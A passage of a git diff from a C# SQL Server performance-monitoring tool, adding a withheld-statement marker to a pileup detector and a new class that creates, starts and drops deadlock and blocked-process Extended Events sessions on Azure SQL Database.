+    /// How many distinct <c>plan_hash</c> values (plan SHAPES: a change in estimates alone is not a new hash, #5114)
+    /// one <c>query_id</c> must have been captured under in the window to
     /// be parameter-SENSITIVE rather than merely re-planned once: two hashes is a flip (the regression's shape);
     /// three or more is the planner choosing among plans as the values change. unmeasured: chosen, not measured —
     /// calibrate against COUNT(DISTINCT plan_hash) per query_id per window in pg_plan_capture before the next
diff --git a/PerformanceMonitor.Analysis/SameStatementPileupDetector.cs b/PerformanceMonitor.Analysis/SameStatementPileupDetector.cs
index fa788c1b5c..4daafd79c6 100644
--- a/PerformanceMonitor.Analysis/SameStatementPileupDetector.cs
+++ b/PerformanceMonitor.Analysis/SameStatementPileupDetector.cs
@@ -98,6 +98,12 @@ public static class SameStatementPileupDetector
     /// <paramref name="ElapsedMs"/> is the row's <c>total_elapsed_time_ms</c> — the in-flight elapsed
     /// at the instant the snapshot was taken, which is what both the pileup floor and the sub-second
     /// baseline compare (an observation, not a completed-execution duration).
+    /// <paramref name="PreviewText"/> (#5320) is the statement text the finding PRINTS: the reader judged the
+    /// whole statement with the sensitive-statement filter, then cut it. It is a required parameter, so a reader
+    /// cannot forget it. <paramref name="QueryText"/> stays the reader's raw cut, which is only ever hashed (the
+    /// null-hash identity surrogate) or searched (the sp_server_diagnostics noise filter) and is never shown. A
+    /// null <paramref name="PreviewText"/> prints nothing (the finding fails closed; it never falls back to the
+    /// raw cut).
     /// </summary>
     public sealed record SnapshotRow(
         DateTime CollectionTime,
@@ -111,7 +117,8 @@ public sealed record SnapshotRow(
         long ElapsedMs,
         long CpuTimeMs,
         long LogicalReads,
-        long PhysicalReads);
+        long PhysicalReads,
+        string? PreviewText);
 
     /// <summary>One fired pileup: the story (severity, fingerprint, frozen advice) plus the evidence
     /// drill-down the caller attaches to the materialized finding before persisting it.</summary>
@@ -295,8 +302,8 @@ pileup forever (#1812's rule, borrowed from the long-running alert on this table
            pack and rewriting its severity arithmetic with a session that never touched its plan
            (#3474; the review on #3469 predicted the shape, the store's snapshots confirmed it). */
         foreach (var group in usable
-            .Where(r => r.CollectionTime == latest)
-            .GroupBy(r => (Database: DatabaseScope(r), Identity: StatementIdentity(r))))
+            .Where(r => r.CollectionTime == latest && StatementIdentity(r) is not null)
+            .GroupBy(r => (Database: DatabaseScope(r), Identity: StatementIdentity(r)!)))
         {
             var pack = group.ToList();
             var sessions = pack.Select(r => r.SessionId).Distinct().Count();
@@ -444,14 +451,23 @@ public static string DatabaseScope(SnapshotRow row) =>
     /// honest about its reach (readers cap the projected text, so two distinct giant statements
     /// sharing a prefix could collide) and the conjunction of gates keeps that from mattering: a
     /// collision still has to pass the elapsed floor, the IO gate, and the sub-second baseline.
+    /// <para>#4348: a null-hash row whose text is the withheld marker has NO identity (null, and
+    /// <see cref="Evaluate"/> leaves it out). The marker is what a collector stores for any statement it
+    /// withheld, so a text hash over it would put every withheld statement in one group and fire a pileup
+    /// on statements that have nothing in common.</para>
     /// </summary>
-    public static string StatementIdentity(SnapshotRow row)
+    public static string? StatementIdentity(SnapshotRow row)
     {
         if (!string.IsNullOrWhiteSpace(row.QueryHash))
         {
             return row.QueryHash.Trim().ToLowerInvariant();
         }
 
+        if (WithheldStatementMarker.IsMarker(row.QueryText))
+        {
+            return null;
+        }
+
         var text = NormalizeText(row.QueryText);
         return text.Length == 0 ? "text:empty" : "text:" + ShortHash(text);
     }
@@ -571,7 +587,7 @@ and the rows worth keeping are the recent ones. */
                 identity,
                 database_name = databaseName,
                 snapshot_time = snapshotTime,
-                query_text = Preview(leader.QueryText),
+                query_text = Preview(leader.PreviewText ?? ""),
             },
         };
 
diff --git a/PerformanceMonitor.Analysis/WithheldStatementMarker.cs b/PerformanceMonitor.Analysis/WithheldStatementMarker.cs
new file mode 100644
index 0000000000..958f132c09
--- /dev/null
+++ b/PerformanceMonitor.Analysis/WithheldStatementMarker.cs
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Analysis;
+
+/// <summary>
+/// #4348 / #5320: the text a collector stores in place of a statement it withheld. This is a copy of
+/// <c>SensitiveStatements.PlaceholderText</c> in PerformanceMonitor.Common, held here because the readers that must
+/// recognize it (the same-statement pileup detector, and the mute rule and incident grouper in
+/// PerformanceMonitor.Notifications) cannot reference Common without changing the <c>packages.lock.json</c> files
+/// of every project that references them. <c>StatementMarkerReaderTests</c> pins the two equal, so a change to the
+/// marker fails there until this copy follows.
+/// </summary>
+public static class WithheldStatementMarker
+{
+    /// <summary>The marker text.</summary>
+    public const string Text = "-- statement text withheld (#4348)";
+
+    /// <summary>True when <paramref name="text"/> is the marker (ignoring surrounding whitespace).</summary>
+    public static bool IsMarker(string? text) => text is not null && text.Trim() == Text;
+}
diff --git a/PerformanceMonitor.Collectors/AgDatabaseReplicaStatesCollector.cs b/PerformanceMonitor.Collectors/AgDatabaseReplicaStatesCollector.cs
index 113b292fb2..24497ac429 100644
--- a/PerformanceMonitor.Collectors/AgDatabaseReplicaStatesCollector.cs
+++ b/PerformanceMonitor.Collectors/AgDatabaseReplicaStatesCollector.cs
@@ -128,7 +128,7 @@ public readonly record struct Row(
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     ag_name = ag.name,
     database_name = d.name,
     replica_server_name = ar.replica_server_name,
diff --git a/PerformanceMonitor.Collectors/AgReplicaStatesCollector.cs b/PerformanceMonitor.Collectors/AgReplicaStatesCollector.cs
index fefa7d3373..4c45eab232 100644
--- a/PerformanceMonitor.Collectors/AgReplicaStatesCollector.cs
+++ b/PerformanceMonitor.Collectors/AgReplicaStatesCollector.cs
@@ -78,7 +78,7 @@ public readonly record struct Row(
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     ag_name = ag.name,
     replica_server_name = ar.replica_server_name,
     role_desc = ars.role_desc,
diff --git a/PerformanceMonitor.Collectors/AgentStatusCollector.cs b/PerformanceMonitor.Collectors/AgentStatusCollector.cs
index bdb5bce072..d49b2f0b88 100644
--- a/PerformanceMonitor.Collectors/AgentStatusCollector.cs
+++ b/PerformanceMonitor.Collectors/AgentStatusCollector.cs
@@ -60,7 +60,7 @@ when the Agent service row is absent (agent_running 0, descriptions NULL). READ
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     agent_running =
         CASE
             WHEN EXISTS
diff --git a/PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs b/PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs
new file mode 100644
index 0000000000..e7b6aebdc6
--- /dev/null
+++ b/PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs
@@ -0,0 +1,847 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Collectors;
+
+/// <summary>Which of the two always-on Extended Events sessions a statement, a name or a choice is about (#4961).</summary>
+public enum AlwaysOnXeSessionKind
+{
+    Deadlock,
+    BlockedProcess,
+}
+
+/// <summary>Which session of a kind an install reads in one Azure SQL Database: the name every install shares, or its own.</summary>
+public enum AlwaysOnXeChoice
+{
+    Shared,
+    Own,
+}
+
+/// <summary>What the catalog of one database says about one session (<c>sys.database_event_sessions</c>).</summary>
+public enum AlwaysOnXeCatalog
+{
+    /// <summary>No row. The catalogs are scoped to what a login can see, so this is not proof the session is absent.</summary>
+    Missing = 0,
+
+    /// <summary>A row, but not with the event a deadlock read needs. Never reported for blocked-process sessions.</summary>
+    WrongEvent = 1,
+
+    /// <summary>A row with the right event.</summary>
+    Present = 2,
+}
+
+/// <summary>What one pass of the Azure ensure did, for the host's log line.</summary>
+public enum AlwaysOnXeChange
+{
+    /// <summary>The session the install reads was there and running.</summary>
+    None,
+
+    /// <summary>The install created the session it reads.</summary>
+    Created,
+
+    /// <summary>The install started a stopped session by name.</summary>
+    Started,
+
+    /// <summary>The shared session was unusable, so the install now reads its own.</summary>
+    FellBack,
+
+    /// <summary>The shared session reads back usable again, so the install dropped its own and reads the shared one.</summary>
+    SwitchedBack,
+}
+
+/// <summary>The answer of one pass of the Azure ensure: the session the install reads from now on, and what the pass did.</summary>
+public readonly record struct AlwaysOnXeAzureResult(AlwaysOnXeChoice Choice, AlwaysOnXeChange Change);
+
+/// <summary>
+/// One open connection to one Azure SQL Database, as the Azure ensure needs it. Each host implements it over its own
+/// connection, with the statements the builders in <see cref="AlwaysOnXeSessions"/> make, so the decisions are made once,
+/// here, and a test replaces the server with a script.
+/// </summary>
+public interface IAlwaysOnXeDatabase
+{
+    /// <summary>What the database's catalog says about the named session of this kind.</summary>
+    Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken);
+
+    /// <summary>
+    /// Whether the named session has a row in <c>sys.dm_xe_database_sessions</c>, the DMV the ring-buffer read joins. That DMV
+    /// lists started sessions only, so a stopped session reads false here.
+    /// </summary>
+    Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken);
+
+    /// <summary>Runs one statement the builders made: a create, a start or a drop.</summary>
+    Task ExecuteAsync(string statement, CancellationToken cancellationToken);
+
+    /// <summary>True for the engine's "already exists" (25631) and "already started" (25705), which say the session is there.</summary>
+    bool IsAlreadyPresent(Exception exception);
+
+    /// <summary>
+    /// True when the registration's own connection to this database carries read-only intent (#4961). A session cannot be
+    /// created or dropped over such a connection, because it reaches a read-only replica, so the ensure sends a create and a
+    /// drop through <see cref="ExecuteWithoutReadOnlyIntentAsync"/> instead. False for a registration without the intent,
+    /// whose every statement goes over its own connection, as before.
+    /// </summary>
+    bool ReadOnlyIntent => false;
+
+    /// <summary>
+    /// Runs one statement the builders made, a create's definition or a drop, over a connection with the read-only intent
+    /// forced off, which reaches the primary. The definition replicates to the read-only replicas. Only called when
+    /// <see cref="ReadOnlyIntent"/> is true; without the intent it is <see cref="ExecuteAsync"/>.
+    /// </summary>
+    Task ExecuteWithoutReadOnlyIntentAsync(string statement, CancellationToken cancellationToken) =>
+        ExecuteAsync(statement, cancellationToken);
+
+    /// <summary>
+    /// The numbers of the errors a failed statement carries, read off the host's own exception because this project has no
+    /// SqlClient (#4961). <see cref="AlwaysOnXeSessions.MarkAzureCapsFailure"/> leaves a read-only database's refusal unmarked
+    /// by them. None by default, so a host that does not say marks every failure.
+    /// </summary>
+    IEnumerable<int> ErrorNumbers(Exception exception) => Array.Empty<int>();
+}
+
+/// <summary>
+/// One database as a registration with read-only intent sees it (#4961): the reads, the starts and the stops go over the
+/// registration's own connection, because run state is per replica, and a create or a drop goes over a connection without the
+/// intent. That connection is opened on the first statement that needs it, so a database that needs no create or drop never
+/// opens one, and it is kept for the rest of the pass and closed with this object.
+/// </summary>
+public sealed class AlwaysOnXeReadOnlyIntentDatabase : IAlwaysOnXeDatabase, IDisposable
+{
+    private readonly IAlwaysOnXeDatabase _own;
+    private readonly Func<CancellationToken, Task<IAlwaysOnXeDatabase>> _openWithoutReadOnlyIntent;
+    private IAlwaysOnXeDatabase? _withoutReadOnlyIntent;
+
+    /// <param name="own">The registration's own connection.</param>
+    /// <param name="openWithoutReadOnlyIntent">Opens a connection to the same database with the intent forced off.</param>
+    public AlwaysOnXeReadOnlyIntentDatabase(IAlwaysOnXeDatabase own, Func<CancellationToken, Task<IAlwaysOnXeDatabase>> openWithoutReadOnlyIntent)
+    {
+        ArgumentNullException.ThrowIfNull(own);
+        ArgumentNullException.ThrowIfNull(openWithoutReadOnlyIntent);
+        _own = own;
+        _openWithoutReadOnlyIntent = openWithoutReadOnlyIntent;
+    }
+
+    public bool ReadOnlyIntent => true;
+
+    public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+        _own.ReadCatalogAsync(kind, sessionName, cancellationToken);
+
+    public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) =>
+        _own.IsStartedAsync(sessionName, cancellationToken);
+
+    public Task ExecuteAsync(string statement, CancellationToken cancellationToken) =>
+        _own.ExecuteAsync(statement, cancellationToken);
+
+    public bool IsAlreadyPresent(Exception exception) => _own.IsAlreadyPresent(exception);
+
+    public IEnumerable<int> ErrorNumbers(Exception exception) => _own.ErrorNumbers(exception);
+
+    public async Task ExecuteWithoutReadOnlyIntentAsync(string statement, CancellationToken cancellationToken)
+    {
+        _withoutReadOnlyIntent ??= await _openWithoutReadOnlyIntent(cancellationToken);
+        await _withoutReadOnlyIntent.ExecuteAsync(statement, cancellationToken);
+    }
+
+    /// <summary>Closes the connection without the intent, if a statement opened one. The registration's own is the host's to close.</summary>
+    public void Dispose()
+    {
+        (_withoutReadOnlyIntent as IDisposable)?.Dispose();
+        _withoutReadOnlyIntent = null;
+    }
+}
+
+/// <summary>
+/// The deadlock and blocked-process sessions on Azure SQL Database (#4961): the names, the statements and the decisions that
+/// keep two installs of the product from fighting over one session.
+///
+/// <para><b>Two names per capture.</b> Every install shares one name per capture, as before. An install that cannot use the
+/// shared session in a database (the catalog holds one without the deadlock event, or it cannot be started) makes its own,
+/// <c>PerformanceMonitor_{product}_{id}_{Deadlock|BlockedProcess}</c>, in that database, and reads that one. The own name is
+/// made here from the same product and install id as the long-query session
+/// (<see cref="LongQueryCompletionsCollector.XeSessionNameFor"/>), and the two capture suffixes are cut from the shared
+/// names, so no second spelling of either exists.</para>
+///
+/// <para><b>Nothing here drops a session it did not make.</b> The only drop builder takes an own name, and refuses any other.
+/// The shared session is never dropped, because another install may be reading it.</para>
+/// </summary>
+public static class AlwaysOnXeSessions
+{
+    private const string Prefix = "PerformanceMonitor_";
+
+    /// <summary>
+    /// The sentence a failed create or start of a session on Azure SQL Database carries. The documented caps are 100 started
+    /// sessions in one database, 100 database-scoped sessions per elastic pool, and 128 MB of session memory per database and
+    /// 512 MB per pool. The engine gives no error number for a refusal at a cap, so the failure cannot be told from other
+    /// refusals, and the sentence goes on every one of them, except a read-only database's, which no cap explains
+    /// (<see cref="MarkAzureCapsFailure"/>).
+    /// </summary>
+    public const string AzureCapsSentence =
+        "Azure SQL Database allows at most 100 started event sessions in a database and 100 database-scoped sessions per elastic pool, "
+        + "and caps session memory at 128 MB per database and 512 MB per pool, so a create or start can be refused near those limits.";
+
+    private const string CapsKey = "PerformanceMonitor.AzureXeSessionCaps";
+
+    /// <summary>
+    /// How often a host that does not ensure on every cycle ensures these sessions again: once an hour, the same interval the
+    /// long-query trace's create pass keeps (<see cref="LongQueryTraceDatabases.RetryInterval"/>).
+    /// </summary>
+    public static TimeSpan EnsureInterval => LongQueryTraceDatabases.RetryInterval;
+
+    /// <summary>True when the ensure has not run yet (null), or last ran at least <see cref="EnsureInterval"/> before <paramref name="utcNow"/>.</summary>
+    public static bool EnsureIsDue(DateTime? lastEnsuredUtc, DateTime utcNow)
+    {
+        if (lastEnsuredUtc is null)
+        {
+            return true;
+        }
+
+        return utcNow - lastEnsuredUtc.Value >= EnsureInterval;
+    }
+
+    /// <summary>The name every install shares for this capture.</summary>
+    public static string SharedNameFor(AlwaysOnXeSessionKind kind) => kind switch
+    {
+        AlwaysOnXeSessionKind.Deadlock => DeadlocksCollector.XeSessionName,
+        AlwaysOnXeSessionKind.BlockedProcess => BlockedProcessReportCollector.XeSessionName,
+        _ => throw new ArgumentOutOfRangeException(nameof(kind)),
+    };
+
+    /// <summary>The capture's own suffix, cut from the shared name: <c>Deadlock</c> or <c>BlockedProcess</c>.</summary>
+    private static string SuffixFor(AlwaysOnXeSessionKind kind) => SharedNameFor(kind).Substring(Prefix.Length);
+
+    /// <summary>
+    /// This install's own session of the capture: <c>PerformanceMonitor_{product}_{id}_{Deadlock|BlockedProcess}</c>. Throws
+    /// for a product other than <see cref="LongQueryCompletionsCollector.LiteProduct"/> or
+    /// <see cref="LongQueryCompletionsCollector.DarlingProduct"/>, and for an id that fails <see cref="InstallId.IsValid"/>, so
+    /// a name it makes is safe to put in a statement (the id is hex only).
+    /// </summary>
+    public static string OwnNameFor(string product, string? installId, AlwaysOnXeSessionKind kind)
+    {
+        if (!IsProduct(product))
+        {
+            throw new ArgumentException($"The product must be {LongQueryCompletionsCollector.LiteProduct} or {LongQueryCompletionsCollector.DarlingProduct}.", nameof(product));
+        }
+
+        if (!InstallId.IsValid(installId))
+        {
+            throw new ArgumentException("The install id is missing or not eight lowercase hex digits.", nameof(installId));
+        }
+
+        return Prefix + product + "_" + installId + "_" + SuffixFor(kind);
+    }
+
+    /// <summary><see cref="OwnNameFor"/>, or null when the id does not pass <see cref="InstallId.IsValid"/>: a host with no id has no fallback to make.</summary>
+    public static string? TryOwnNameFor(string product, string? installId, AlwaysOnXeSessionKind kind) =>
+        InstallId.IsValid(installId) ? OwnNameFor(product, installId, kind) : null;
+
+    /// <summary>True when <paramref name="name"/> is a name <see cref="OwnNameFor"/> makes for this capture.</summary>
+    public static bool IsOwnName(string? name, AlwaysOnXeSessionKind kind)
+    {
+        var suffix = "_" + SuffixFor(kind);
+        if (name is null
+            || !name.StartsWith(Prefix, StringComparison.Ordinal)
+            || !name.EndsWith(suffix, StringComparison.Ordinal)
+            || name.Length <= Prefix.Length + suffix.Length)
+        {
+            return false;
+        }
+
+        var middle = name.Substring(Prefix.Length, name.Length - Prefix.Length - suffix.Length);
+        foreach (var product in new[] { LongQueryCompletionsCollector.LiteProduct, LongQueryCompletionsCollector.DarlingProduct })
+        {
+            if (middle.Length == product.Length + 1 + InstallId.Length
+                && middle.StartsWith(product + "_", StringComparison.Ordinal)
+                && InstallId.IsValid(middle.Substring(product.Length + 1)))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private static bool IsProduct(string product) =>
+        string.Equals(product, LongQueryCompletionsCollector.LiteProduct, StringComparison.Ordinal)
+        || string.Equals(product, LongQueryCompletionsCollector.DarlingProduct, StringComparison.Ordinal);
+
+    /// <summary>
+    /// The session a read of this capture names: <paramref name="chosen"/> when the host's ensure chose one for the database,
+    /// and the shared name when it has not (no entry yet, and every server-scoped read). A chosen name that is neither the
+    /// shared name nor an own name of this capture is refused, so a read can only ever name one of the two.
+    /// </summary>
+    public static string ReadNameFor(AlwaysOnXeSessionKind kind, string? chosen)
+    {
+        if (string.IsNullOrEmpty(chosen))
+        {
+            return SharedNameFor(kind);
+        }
+
+        if (!string.Equals(chosen, SharedNameFor(kind), StringComparison.Ordinal) && !IsOwnName(chosen, kind))
+        {
+            throw new ArgumentException("The session name is neither the shared name nor an own name of this capture.", nameof(chosen));
+        }
+
+        return chosen;
+    }
+
+    private static void RequireName(AlwaysOnXeSessionKind kind, string sessionName)
+    {
+        if (!string.Equals(sessionName, SharedNameFor(kind), StringComparison.Ordinal) && !IsOwnName(sessionName, kind))
+        {
+            throw new ArgumentException("The session name is neither the shared name nor an own name of this capture.", nameof(sessionName));
+        }
+    }
+
+    /// <summary>
+    /// The create and the start of one database-scoped session, as one batch. The shared session starts with the database
+    /// (<c>STARTUP_STATE = ON</c>, as it always has); an own session does not (<c>OFF</c>), so a database that restarts does
+    /// not bring back a fallback the install may have dropped. Refuses a name that is not the shared name or an own name.
+    /// </summary>
+    public static string BuildAzureCreateSql(AlwaysOnXeSessionKind kind, string sessionName) =>
+        BuildAzureCreateDefinitionSql(kind, sessionName) + "\n" + BuildAzureStartSql(kind, sessionName);
+
+    /// <summary>
+    /// The create alone, with no start: what a registration with read-only intent sends over a connection without the intent
+    /// (#4961). The definition replicates to the read-only replicas, and the session is started over the registration's own
+    /// connection, because run state is per replica. A start here would run the session on the primary only. The same
+    /// statement <see cref="BuildAzureCreateSql"/> begins with, and it refuses the same names.
+    /// </summary>
+    public static string BuildAzureCreateDefinitionSql(AlwaysOnXeSessionKind kind, string sessionName)
+    {
+        RequireName(kind, sessionName);
+        var shared = string.Equals(sessionName, SharedNameFor(kind), StringComparison.Ordinal);
+        var eventName = kind == AlwaysOnXeSessionKind.Deadlock
+            ? "sqlserver.database_xml_deadlock_report"
+            : "sqlserver.blocked_process_report";
+        var retention = kind == AlwaysOnXeSessionKind.Deadlock
+            ? "    EVENT_RETENTION_MODE = ALLOW_SINGLE_EVENT_LOSS,\n"
+            : string.Empty;
+
+        return "\nCREATE EVENT SESSION [" + sessionName + "]\n"
+            + "ON DATABASE\n"
+            + "ADD EVENT " + eventName + "\n"
+            + "ADD TARGET package0.ring_buffer\n"
+            + "(\n"
+            + "    SET max_memory = 4096\n"
+            + ")\n"
+            + "WITH\n"
+            + "(\n"
+            + "    MAX_DISPATCH_LATENCY = 5 SECONDS,\n"
+            + retention
+            + "    STARTUP_STATE = " + (shared ? "ON" : "OFF") + "\n"
+            + ");\n";
+    }
+
+    /// <summary>The start of one session by name. Refuses a name that is not the shared name or an own name.</summary>
+    public static string BuildAzureStartSql(AlwaysOnXeSessionKind kind, string sessionName)
+    {
+        RequireName(kind, sessionName);
+        return "ALTER EVENT SESSION [" + sessionName + "] ON DATABASE STATE = START;";
+    }
+
+    /// <summary>
+    /// The stop of one session by name, for a session that runs on a read-only replica: it is stopped over a connection to
+    /// the replica before it is dropped on the primary (#4961). Takes an own name only, as <see cref="BuildAzureDropSql"/>
+    /// does. Throws for any other name.
+    /// </summary>
+    public static string BuildAzureStopSql(AlwaysOnXeSessionKind kind, string sessionName)
+    {
+        if (!IsOwnName(sessionName, kind))
+        {
+            throw new ArgumentException("Only an own session is stopped for a drop, never the shared one.", nameof(sessionName));
+        }
+
+        return "ALTER EVENT SESSION [" + sessionName + "] ON DATABASE STATE = STOP;";
+    }
+
+    /// <summary>
+    /// The drop of one session. Takes an own name only: the shared session is never dropped by an install, because another
+    /// install may be reading it. Throws for any other name.
+    /// </summary>
+    public static string BuildAzureDropSql(AlwaysOnXeSessionKind kind, string sessionName)
+    {
+        if (!IsOwnName(sessionName, kind))
+        {
+            throw new ArgumentException("Only an own session is dropped, never the shared one.", nameof(sessionName));
+        }
+
+        return "DROP EVENT SESSION [" + sessionName + "] ON DATABASE;";
+    }
+
+    /// <summary>
+    /// The catalog probe: one scalar, the <see cref="AlwaysOnXeCatalog"/> value as an integer, for the session named by
+    /// <c>@session_name</c>. A deadlock session counts as present only with <c>database_xml_deadlock_report</c>.
+    /// <paramref name="appTag"/> is the host's own comment tag.
+    /// </summary>
+    public static string BuildAzureCatalogProbeSql(AlwaysOnXeSessionKind kind, string appTag)
+    {
+        if (kind == AlwaysOnXeSessionKind.Deadlock)
+        {
+            return @"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* " + appTag + @" */
+    catalog_state =
+        CASE
+            WHEN EXISTS
+            (
+                SELECT
+                    1/0
+                FROM sys.database_event_session_events AS dese
+                JOIN sys.database_event_sessions AS des
+                  ON des.event_session_id = dese.event_session_id
+                WHERE des.name = @session_name
+                AND   dese.name = N'database_xml_deadlock_report'
+            )
+            THEN 2
+            WHEN EXISTS
+            (
+                SELECT
+                    1/0
+                FROM sys.database_event_sessions AS des
+                WHERE des.name = @session_name
+            )
+            THEN 1
+            ELSE 0
+        END;";
+        }
+
+        return @"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* " + appTag + @" */
+    catalog_state =
+        CASE
+            WHEN EXISTS
+            (
+                SELECT
+                    1/0
+                FROM sys.database_event_sessions AS des
+                WHERE des.name = @session_name
+            )
+            THEN 2
+            ELSE 0
+        END;";
+    }
+
+    /// <summary>
+    /// The started probe: one scalar, 1 when the session named by <c>@session_name</c> has a row in
+    /// <c>sys.dm_xe_database_sessions</c>, the DMV the ring-buffer read joins, and 0 when it does not.
+    /// </summary>
+    public static string BuildAzureStartedProbeSql(string appTag) => @"
+SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
+
+SELECT /* " + appTag + @" */
+    is_visible =
+        CASE
+            WHEN EXISTS
+            (
+                SELECT
+                    1/0
+                FROM sys.dm_xe_database_sessions AS xes
+                WHERE xes.name = @session_name
+            )
+            THEN 1
+            ELSE 0
+        END;";
+
+    /// <summary>
+    /// The one message for a create that a read-only database refused (#4961): why it cannot work, and what to change. It
+    /// words the reason as <see cref="LongQueryTraceDatabases.ReadOnlyDatabaseMessage"/> does, for a session that has no
+    /// trace to turn off. A registration that points straight at such a database, as at an Azure geo-secondary, lands there
+    /// without read-only intent.
+    /// </summary>
+    public static string ReadOnlyDatabaseMessage(AlwaysOnXeSessionKind kind) =>
+        "The " + (kind == AlwaysOnXeSessionKind.Deadlock ? "deadlock" : "blocked process") + " Extended Events session could not be created: "
+        + "the database this registration reaches is read-only (error "
+        + LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber.ToString(CultureInfo.InvariantCulture) + "), "
+        + "as an Azure geo-secondary is, and a read-only database cannot hold a session. Register the primary database instead.";
+
+    /// <summary>
+    /// Marks a failure of a create or start on Azure SQL Database, so <see cref="DescribeFailure"/> adds the caps sentence.
+    /// A read-only database's refusal (error <see cref="LongQueryTraceDatabases.ReadOnlyDatabaseErrorNumber"/>) is never marked:
+    /// that database refuses every create, whatever its caps, and the long-query trace words that refusal itself
+    /// (<see cref="LongQueryTraceDatabases.ReadOnlyDatabaseMessage"/>). The error numbers are the host's to read off its own
+    /// exception, because this project has no SqlClient; none means the exception carries no SQL error.
+    /// </summary>
+    /// <param name="exception">The failure of the create or start.</param>
+    /// <param name="errorNumbers">The numbers of the errors the failure carries, or null when the host reads none.</param>
+    public static void MarkAzureCapsFailure(Exception exception, IEnumerable<int>? errorNumbers = null)
+    {
+        ArgumentNullException.ThrowIfNull(exception);
+        if (errorNumbers is not null && LongQueryTraceDatabases.IsReadOnlyDatabaseRefusal(errorNumbers))
+        {
+            return;
+        }
+
+        exception.Data[CapsKey] = true;
+    }
+
+    /// <summary>True when <see cref="MarkAzureCapsFailure"/> marked the exception.</summary>
+    public static bool CarriesAzureCaps(Exception? exception) =>
+        exception is not null && exception.Data.Contains(CapsKey);
+
+    /// <summary>The exception's message, with <see cref="AzureCapsSentence"/> after it when it is a marked create or start failure.</summary>
+    public static string DescribeFailure(Exception exception)
+    {
+        ArgumentNullException.ThrowIfNull(exception);
+        return CarriesAzureCaps(exception)
+            ? string.Create(CultureInfo.InvariantCulture, $"{exception.Message} {AzureCapsSentence}")
+            : exception.Message;
+    }
+}
+
+/// <summary>
+/// The in-memory choice of one host: which session of each capture it reads in each database of each registration. The
+/// ensure sets it and the read takes its name from it. Nothing is stored: a restart starts every entry at shared, and the
+/// first ensure sets it again.
+/// </summary>
+public sealed class AlwaysOnXeChoices
+{
+    private readonly ConcurrentDictionary<string, AlwaysOnXeChoice> _choices = new(StringComparer.Ordinal);
+
+    private static string KeyOf(string serverKey, string database, AlwaysOnXeSessionKind kind) =>
+        serverKey + "\u0001" + database.ToUpperInvariant() + "\u0001" + kind.ToString();
+
+    /// <summary>The choice for one database; <see cref="AlwaysOnXeChoice.Shared"/> while the ensure has set none.</summary>
+    public AlwaysOnXeChoice Get(string serverKey, string database, AlwaysOnXeSessionKind kind) =>
+        _choices.TryGetValue(KeyOf(serverKey, database, kind), out var choice) ? choice : AlwaysOnXeChoice.Shared;
+
+    public void Set(string serverKey, string database, AlwaysOnXeSessionKind kind, AlwaysOnXeChoice choice) =>
+        _choices[KeyOf(serverKey, database, kind)] = choice;
+
+    /* The databases where a create was refused as read-only (#4961), so the host logs the explanation once and the repeats
+       quietly. In memory, like the choices. */
+    private readonly ConcurrentDictionary<string, bool> _readOnlyRefusals = new(StringComparer.Ordinal);
+
+    /// <summary>Records a create refused as read-only in one database. True the first time since the last success, so the host logs the explanation then.</summary>
+    public bool MarkReadOnlyRefusal(string serverKey, string database, AlwaysOnXeSessionKind kind) =>
+        _readOnlyRefusals.TryAdd(KeyOf(serverKey, database, kind), true);
+
+    /// <summary>Forgets the refusal of one database, after a pass that did not hit it.</summary>
+    public void ClearReadOnlyRefusal(string serverKey, string database, AlwaysOnXeSessionKind kind) =>
+        _readOnlyRefusals.TryRemove(KeyOf(serverKey, database, kind), out _);
+
+    /// <summary>
+    /// The session a read of this capture names in this database: the install's own when the ensure chose it and the host has
+    /// an own name, else the shared name.
+    /// </summary>
+    public string NameFor(string serverKey, string database, AlwaysOnXeSessionKind kind, string? ownName) =>
+        Get(serverKey, database, kind) == AlwaysOnXeChoice.Own && ownName is not null
+            ? AlwaysOnXeSessions.ReadNameFor(kind, ownName)
+            : AlwaysOnXeSessions.SharedNameFor(kind);
+
+    /// <summary>The databases of one registration where the install reads its own session of this capture.</summary>
+    public IReadOnlyList<string> OwnDatabases(string serverKey, AlwaysOnXeSessionKind kind)
+    {
+        var prefix = serverKey + "\u0001";
+        var suffix = "\u0001" + kind.ToString();
+        var found = new List<string>();
+        foreach (var entry in _choices)
+        {
+            if (entry.Value == AlwaysOnXeChoice.Own
+                && entry.Key.StartsWith(prefix, StringComparison.Ordinal)
+                && entry.Key.EndsWith(suffix, StringComparison.Ordinal))
+            {
+                found.Add(entry.Key.Substring(prefix.Length, entry.Key.Length - prefix.Length - suffix.Length));
+            }
+        }
+
+        return found;
+    }
+
+    /// <summary>Forgets every entry of one registration (the registration is gone, or reconnected).</summary>
+    public void Forget(string serverKey)
+    {
+        var prefix = serverKey + "\u0001";
